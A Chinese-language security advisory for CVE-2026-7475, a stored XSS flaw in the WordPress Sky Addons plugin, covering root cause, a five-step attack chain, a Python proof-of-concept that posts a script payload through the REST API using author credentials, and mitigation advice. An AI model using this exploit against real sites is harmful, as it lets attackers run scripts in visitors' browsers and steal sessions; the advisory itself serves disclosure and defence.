CVE-2026-7475: WordPress Sky Addons存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2026-7475

漏洞类型

存储型跨站脚本

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WordPress Sky Addons Plugin

漏洞概述

WordPress Sky Addons插件在3.3.2及以下版本中存在存储型跨站脚本（XSS）漏洞。该漏洞源于`sky-custom-scripts`自定义文章类型配置不当，且未对`sky_script_content`元字段进行充分的输入清理和输出转义。拥有作者级别及以上权限的经过身份验证的攻击者，可通过REST API注入恶意脚本，导致所有访问网站前端的用户执行恶意代码。

技术细节

该漏洞的根本原因是插件注册了`sky-custom-scripts`自定义文章类型，并启用了`show_in_rest => true`，允许通过REST API访问。同时，`capability_type`被设置为`post`，使得具有作者权限的用户即可操作。关键问题在于`sky_script_content`元字段缺乏输入消毒，且在前端渲染时未进行HTML实体转义。攻击者可以向该字段注入JavaScript代码，当这些脚本被加载到前端页面时，浏览器会解析执行。由于攻击载荷存储在数据库中，任何访问受影响页面的用户都会触发XSS，可能导致Cookie窃取或权限提升。

攻击链分析

STEP 1

步骤1：获取低权限账户

攻击者注册或获取一个具有Author（作者）及以上权限的WordPress账户。

STEP 2

步骤2：构造恶意请求

攻击者利用REST API接口`/wp-json/wp/v2/sky-custom-scripts`，构造包含恶意JavaScript代码的POST请求，目标指向未经过滤的`sky_script_content`元字段。

STEP 3

步骤3：注入恶意载荷

服务器接收请求并将恶意代码存储在数据库中。由于插件未对该字段进行sanitize，载荷被成功保存。

STEP 4

步骤4：触发漏洞

当管理员或普通用户访问网站前端页面时，插件会调用并渲染该自定义脚本内容。

STEP 5

步骤5：执行攻击

受害者的浏览器解析并执行注入的恶意脚本，攻击者可借此窃取Session ID或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target configuration
target_url = "http://example.com/wp-json/wp/v2/sky-custom-scripts"
username = "author"
password = "password"

# Malicious payload to be stored
payload = "<script>alert('CVE-2026-7475');</script>"

# Headers for REST API authentication (Basic Auth)
headers = {
    "Content-Type": "application/json"
}

# Data payload
data = {
    "title": "Malicious Script",
    "content": "Some content",
    "status": "publish",
    "meta": {
        "sky_script_content": payload  # The vulnerable field
    }
}

# Send POST request to inject the script
response = requests.post(target_url, json=data, headers=headers, auth=(username, password))

if response.status_code == 201:
    print(f"Success! Payload injected. ID: {response.json().get('id')}")
else:
    print(f"Failed. Status code: {response.status_code}")
    print(response.text)

影响范围

Sky Addons for WordPress <= 3.3.2

防御指南

临时缓解措施

建议暂时禁用Sky Addons插件中的“Custom Scripts”功能，或者严格限制用户权限，禁止非管理员用户通过REST API创建或修改自定义文章类型，直到插件升级到安全版本。